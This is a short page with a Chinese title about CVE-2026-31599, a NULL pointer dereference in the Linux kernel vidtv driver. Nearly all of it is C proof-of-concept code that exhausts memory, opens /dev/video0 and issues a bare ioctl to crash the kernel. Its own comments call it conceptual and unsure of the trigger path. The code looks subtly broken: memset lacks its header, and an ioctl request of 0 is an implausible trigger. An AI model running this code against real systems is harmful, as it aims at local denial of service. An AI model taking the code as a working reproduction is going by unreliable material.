CVE-2026-31599: Linux内核vidtv空指针解引用漏洞

/* * PoC for CVE-2026-31599 * This code attempts to trigger the NULL pointer dereference * by interacting with the vidtv driver under memory pressure. * Note: This is a conceptual PoC based on the vulnerability description. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE "/dev/video0" // Typical device node, may vary void consume_memory() { // Attempt to exhaust memory to force allocation failure in kernel size_t chunk_size = 1024 * 1024 * 100; // 100MB void *ptr; int i = 0; while (1) { ptr = malloc(chunk_size); if (!ptr) break; memset(ptr, 0x41, chunk_size); i++; if (i > 1000) break; // Safety limit } printf("Allocated %d chunks\n", i); } int main() { int fd = -1; printf("[+] Starting PoC for CVE-2026-31599\n"); // 1. Consume memory to increase likelihood of kmalloc failure consume_memory(); // 2. Open the vidtv device fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened\n"); // 3. Trigger the vulnerable code path // The crash happens during stream initialization (vidtv_start_streaming -> vidtv_mux_init) // We simulate the interaction that leads to vidtv_channel_si_init if (ioctl(fd, 0, NULL) < 0) { // IOCTL might fail, but open/read/write paths might trigger it too // depending on driver implementation details not fully visible here. // Usually starting a stream triggers the PMT init. perror("[-] IOCTL failed"); } printf("[+] Exploit logic executed. Check kernel logs for crash.\n"); close(fd); return 0; }